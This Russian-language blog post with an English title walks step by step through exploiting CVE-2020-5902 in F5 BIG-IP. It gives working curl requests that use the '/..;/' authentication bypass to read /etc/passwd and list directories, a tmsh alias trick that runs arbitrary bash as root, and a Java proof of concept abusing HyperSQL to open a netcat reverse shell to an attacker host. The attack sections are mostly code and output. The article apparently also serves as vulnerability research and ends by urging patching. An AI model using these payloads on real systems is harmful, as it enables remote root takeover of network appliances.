Critical RCE Flaw with F5 Let Remote Attackers Control of Device

Взлом устройств F5 networks через уязвимости в BIG-IP.

В июле 2020 года немало шума наделала уязвимость, найденная в линейке продуктов F5, в частности — в BIG-IP. Это контроллер доставки приложений, который используют и в крупнейших компаниях вроде банков и операторов сотовой связи. Уязвимости присвоили наивысший уровень опасности, поскольку она позволяет без каких-либо привилегий получить полный контроль над целью.

В составе BIG-IP есть разные модули, которые работают под управлением операционной системы TMOS. Один из них — Local Traffic Manager (LTM) — обрабатывает трафик приложений, обеспечивает безопасность сетевой инфраструктуры и локальную балансировку нагрузки. LTM можно гибко настраивать, в том числе при помощи веб-интерфейса TMUI (Traffic Management User Interface). В нем и нашли уязвимость.

Critical RCE Flaw with F5 Let Remote Attackers Control of Device

Точнее, нашел Михаил Ключников из Positive Technologies. Баг существует из-за некорректной нормализации URI при обработке запросов. Злоумышленник может обойти аутентификацию в Traffic Management User Interface и использовать функции системы, которые предназначены только для администратора. В результате этого атакующий может выполнять произвольные команды на целевой системе от суперпользователя, а это означает полную компрометацию сервера.

 

Баг получил номер CVE-2020-5902 и 10 из 10 баллов критичности по CVSS. Уязвимость присутствует в BIG-IP версий с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.

 

Тестовый стенд

Так как продукт коммерческий, простого докер-контейнера в этот раз не будет. Самый легкий способ поднять стенд — это скачать тридцатидневную пробную версию BIG-IP VE (Virtual Edition). Для этого нужен аккаунт, который можно создать на сайте F5. После подтверждения можно будет переходить в раздел загрузок.

Нам нужна последняя уязвимая версия, это — 15.1.0.3. BIG-IP распространяется в нескольких вариантах, нас интересует образ виртуальной машины в формате OVA. Перед загрузкой предложат выбрать удобное зеркало.

Страница загрузки виртуальной машины BIG-IP в формате OVA
Страница загрузки виртуальной машины BIG-IP в формате OVA

Также можешь попробовать воспользоваться моей ссылкой для скачивания образа. Не могу сказать, сколько она проживет, но пока отлично работает.

После этого импортируем скачанный образ в свою программу виртуализации. Я буду использовать VMware, но и VirtualBox отлично с этим справится.

После успешного импорта загружаем виртуалку. Через некоторое время видим приглашение для авторизации.

Авторизация в виртуальной машине BIG-IP
Авторизация в виртуальной машине BIG-IP

По дефолту пароль для суперпользователя — default (тебе сразу предложат его сменить). Теперь можно посмотреть IP-адрес виртуалки.

IP-адрес виртуальной машины BIG-IP
IP-адрес виртуальной машины BIG-IP

Открываем браузер и переходим на этот IP. Видим форму авторизации Traffic Management User Interface.

Форма авторизации BIG-IP Configuration Utility
Форма авторизации BIG-IP Configuration Utility

Стенд готов.

 

Детали уязвимости

Вернемся в консоль. Посмотрим, что за веб-сервер слушает 443-й порт.

netstat -lnpe | grep 443
Смотрим, какой сервис слушает 443-й порт в BIG-IP
Смотрим, какой сервис слушает 443-й порт в BIG-IP

Это обычный демон httpd, но очевидно, что он используется просто как фронтенд для проксирования запросов куда-то дальше. Поищем среди конфигурационных файлов директивы ProxyPass.

grep -iR ProxyPass /etc/httpd
Поиск директивы проксирования в конфигах httpd
Поиск директивы проксирования в конфигах httpd

Нашлось много интересного в файле /etc/httpd/conf.d/proxy_ajp.conf.

/etc/httpd/conf.d/proxy_ajp.conf
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...

И название, и содержимое файла наводят на мысль, что запросы переправляются к веб-серверу Tomcat по протоколу AJP. О нем я уже писал в статье про уязвимость в Tomcat.

8009-й порт — это AJP-протокол сервера Apache Tomcat
8009-й порт — это AJP-протокол сервера Apache Tomcat

Но сейчас проблема не в этом. Нам нужно посмотреть на то, как передается URI к Tomcat. Здесь стоит обратиться к большому исследованию Оранжа Цая о нормализации путей в различных приложениях, которое он представил на Black Hat USA 2018 и DEF CON 26 (PDF). Там есть раздел о Tomcat, где конструкция /..;/ используется для выхода из директории, обхода некоторых правил и получения доступа к файлам с важной информацией. Это возможно потому, что веб-сервер воспринимает конструкцию /..;/ как имя папки, а Tomcat интерпретирует его в качестве относительного пути — вверх по дереву в родительскую директорию.

Чтобы проверить, работает ли этот баг в нашем случае, попробуем прочитать какой-нибудь файл, доступ к которому в обычных условиях запрещен. Список таких можно посмотреть, например, в конфиге TMUI — /usr/local/www/tmui/WEB-INF/web.xml.

/usr/local/www/tmui/WEB-INF/web.xml
<servlet-mapping>
    <servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
    <url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping>

Попробуем его просмотреть простым запросом.

curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is

В ответ получаем редирект на страницу авторизации. А теперь сделаем это при помощи конструкции /..;/.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is

Скрипт viewset.jsp отрабатывает успешно, и сервер возвращает результат.

Обход авторизации и просмотр недоступных страниц в F5 BIG-IP
Обход авторизации и просмотр недоступных страниц в F5 BIG-IP

Теперь мы можем читать любые страницы и выполнять сервлеты, которые не проверяют сессию пользователя внутри себя.

Давай посмотрим, что можно откопать в дебрях TMUI. Все самое интересное лежит в директории /usr/local/www/tmui/WEB-INF/. Здесь же находятся и сами сервлеты, в откомпилированном виде. В связи с этим мне понадобится JD-GUI. Чтобы было проще, советую просто заархивировать директорию /usr/local/www/tmui/WEB-INF/ в формате ZIP и открыть в JD-GUI.

Декомпиляция классов BIG-IP в JD-GUI
Декомпиляция классов BIG-IP в JD-GUI

А список эндпойнтов, как мы уже выяснили, можно найти в файле /usr/local/www/tmui/WEB-INF/web.xml. Их очень много, поэтому приведу здесь несколько наиболее интересных, которые были найдены после релиза уязвимости в паблик.

Первый — /tmui/locallb/workspace/fileRead.jsp.

/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
...
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java
01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61:   public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77:       String fileName = WebUtils.getProperty(request, "fileName");
78:       try {
79:         JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80:         out.print(resultObject.toString());

Этот сервлет позволяет читать произвольные файлы, если передать в параметре fileName. Пробуем прочитать каноничный /etc/passwd.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is

Успех, сервер возвращает содержимое файла.

Чтение произвольных файлов в BIG-IP
Чтение произвольных файлов в BIG-IP

Из интересных файлов, которые можно прочитать, стоит отметить:

  • /etc/hosts — здесь можно узнать IP-адреса инфраструктуры BIG-IP;
  • /config/bigip.conf — здесь находятся переменные конфигурации BIG-IP;
  • /config/bigip.license — тут можно почерпнуть информацию о текущей лицензии BIG-IP.

Список можно продолжать — я уверен, ты знаешь еще пару десятков заманчивых файлов, которые только и ждут того, чтобы их прочитали. А чтобы было еще проще, на помощь нам приходит следующий интересный сервлет — /tmui/locallb/workspace/directoryList.jsp.

/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
...

На вход он принимает параметр directoryPath, а на выходе, как ты уже догадался, выдает листинг указанной директории.

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java
26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
...
61:   public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77:       String directoryPath = WebUtils.getProperty(request, "directoryPath");
78:       try {
79:         JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80:         out.print(resultObject);
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
Чтение содержимого директорий через уязвимость в BIG-IP
Чтение содержимого директорий через уязвимость в BIG-IP

Причем содержимое директорий выводится рекурсивно.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" -s
Директории читаются рекурсивно
Директории читаются рекурсивно

Но если скрипту попадаются файлы или папки, которые текущий пользователь не может прочитать, то сервер вернет 500 Internal Server Error.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/etc/httpd" -s
Ошибка при чтении директории через directoryList.jsp, если у текущего пользователя недостаточно прав
Ошибка при чтении директории через directoryList.jsp, если у текущего пользователя недостаточно прав

Как ты успел заметить, все эти методы чтения файлов и директорий вызываются вот из этого класса:

com.f5.tmui.locallb.handler.workspace.WorkspaceUtils

И если поведение WorkspaceUtils.listDirectory и WorkspaceUtils.readFile было вполне понятным, то в следующем сервлете нам придется заглянуть в этот класс, чтобы лучше разобраться в особенностях его работы. Класс WorkspaceUtils располагается в файле .jar по такому пути:

/usr/local/www/tmui/WEB-INF/lib/tmui.jar

Декомпилируем его с помощью все той же JD-GUI, если ты еще этого не сделал.

Переходим к наиболее интересному сервлету — /tmui/locallb/workspace/tmshCmd.jsp.

/usr/local/www/tmui/WEB-INF/web.xml
<servlet>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
    <servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
    <servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
    <url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java
28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63:   public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81:       String cmd = WebUtils.getProperty(request, "command");
82:       if (cmd == null || cmd.length() == 0) {
83:         logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84:       } else {
85:         JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86:         tmshResult = resultObject.toString();

Здесь на вход принимается параметр command, который затем передается в метод WorkspaceUtils.runTmshCommand. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46:   public static JSONObject runTmshCommand(String command) {
...
51:     String operation = command.split(" ")[0];
...
53:       try {
54:         String[] args = { command };
55:         Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56:         output = result.getOutput();
57:         error = result.getError();

Здесь происходит парсинг строки, которую мы передавали в command, и затем вызов Syscall.callElevated. Как видно из названия, этот метод вызывает команду Syscall.TMSH с повышенными привилегиями.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78:   public static final int TMSH = ShellCommandT.SC_TMSH.intValue();

Класс com.f5.mcp.schema.ltm.ShellCommandT находится в файле f5.rest.mcp.schema.jar. Декомпилируем и заглядываем в него.

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java
01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70:   public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94:   protected ShellCommandT(String tokenName, long tokenValue) {
95:     super("shell_command_t", tokenName, tokenValue);
96:   }

TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? 🙂 А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
162: public static Result callElevated(int command, String[] args) throws CallException {
163:   return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203:   Connection c = null;
204:   try {
...
206:     c = ConnectionManager.instance().getConnection();
...
209:     c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210:     ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211:     DataObject query = om.newObject();
212:     query.put((SchemaAttribute)ShellCall.COMMAND, command);
213:     query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214:     query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215:     DataObject[] rs = om.queryStats(query);
216:     if (rs != null && rs.length > 0)
217:       return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS)); 

Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin.

Просмотр списка администраторов BIG-IP через утилиту TMSH
Просмотр списка администраторов BIG-IP через утилиту TMSH

Теперь сделаем то же самое, только через уязвимость.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
Выполнение команд TMSH через уязвимость в F5 BIG-IP
Выполнение команд TMSH через уязвимость в F5 BIG-IP

Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash модуля util.

Список команд модуля util
Список команд модуля util

Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.

Страница мануала команды bash в TMSH
Страница мануала команды bash в TMSH

Любые команды из модуля util можно вызывать как при помощи run, так и прямо из командной строки.

  • run /util bash -c id
  • bash -c id
Разные варианты выполнения команд в bash через TMSH
Разные варианты выполнения команд в bash через TMSH

Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
Попытка вызвать произвольную команду через уязвимость в BIG-IP
Попытка вызвать произвольную команду через уязвимость в BIG-IP

Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp производит несколько проверок.

WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
52:     if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {

Метод ShellCommandValidator.checkForBadShellCharacters проверяет наличие запрещенных символов в строке. В расстрельный список попали:

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java
24: public static boolean checkForBadShellCharacters(String value) {
25:   char[] cArray = value.toCharArray();
26:   for (int i = 0; i < cArray.length; i++) {
27:     char c = cArray[i];
28:     if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29:       return true; 
30:   } 
31:   return false;
32: }

Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.

operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")

Как видишь, возможно выполнить только четыре команды TMSH: create, delete, list и modify. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared и private. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list, удалить — delete, а создать новый при помощи create.

Список общих (shared) псевдонимов в TMSH
Список общих (shared) псевдонимов в TMSH

Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.

Командой create cli alias private modify command bash создаем в зоне видимости пользователя алиас с именем modify, который будет вызывать команду bash.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s

Теперь modify -c id выполнит необходимую команду. В моем случае это id.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s

Затем delete cli alias private modify — удаляем созданный алиас во избежание проблем.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s
Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя
Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя

Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.

К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.

 

RCE через HyperSQL

В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd проксируют по URI /hsqldb.

/etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
Обход авторизации для доступа к HSQLDB
Обход авторизации для доступа к HSQLDB

HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.

Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку

192.168.31.140 localhost.localdomain

Разумеется, IP должен быть твоей виртуалки! 🙂 Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.

/hsqldb-poc-rce/src/com/f5rce/Main.java
01: package com.f5rce;
02: 
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06: 
07: public class Main {
08: 
09:     public static void main(String[] args) throws Exception {
10:         Class.forName("org.hsqldb.jdbcDriver");
11:         String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/";

Теперь имя пользователя и пароль.

/hsqldb-poc-rce/src/com/f5rce/Main.java
12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");

Подключаемся к БД.

/hsqldb-poc-rce/src/com/f5rce/Main.java
15: try {
16:     Connection c = DriverManager.getConnection(connectionURL, props);
17:     Statement stmt = null;
18:     ResultSet result = null;

Теперь выполняем простенький запрос

SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS
/hsqldb-poc-rce/src/com/f5rce/Main.java
19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");

Получаем результат и выводим в консоль.

/hsqldb-poc-rce/src/com/f5rce/Main.java
21:     while (result.next()) {
22:         System.out.println("Got result: " + result.getString(1));
23:     }
24:     result.close();
25:     stmt.close();
26: } catch (SQLException e) {
27:     e.printStackTrace();
28: }
Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP
Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP

Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.

Сначала проверим classpath — пути, откуда подгружаются библиотеки:

CALL "java.lang.System.getProperty"('java.class.path')
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
Получение classpath через HSQLDB в BIG-IP
Получение classpath через HSQLDB в BIG-IP

Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:

com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext

Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar, который мы уже декомпилировали.

WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java
01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13:   static {
14:     Properties props = new Properties();
15:     System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16:     System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45:   public static void setRequestContext(String object, String screen) {
46:     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47:     currentObject.set(current);
48:   }

Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec(). Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e. Делаем через него бэкконнект.

/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21:         "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");
Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB
Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB
 

Демонстрация уязвимости (видео)

 
 

Заключение

Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.

После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.

Click to rate this post!
[Total: 0 Average: 0]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.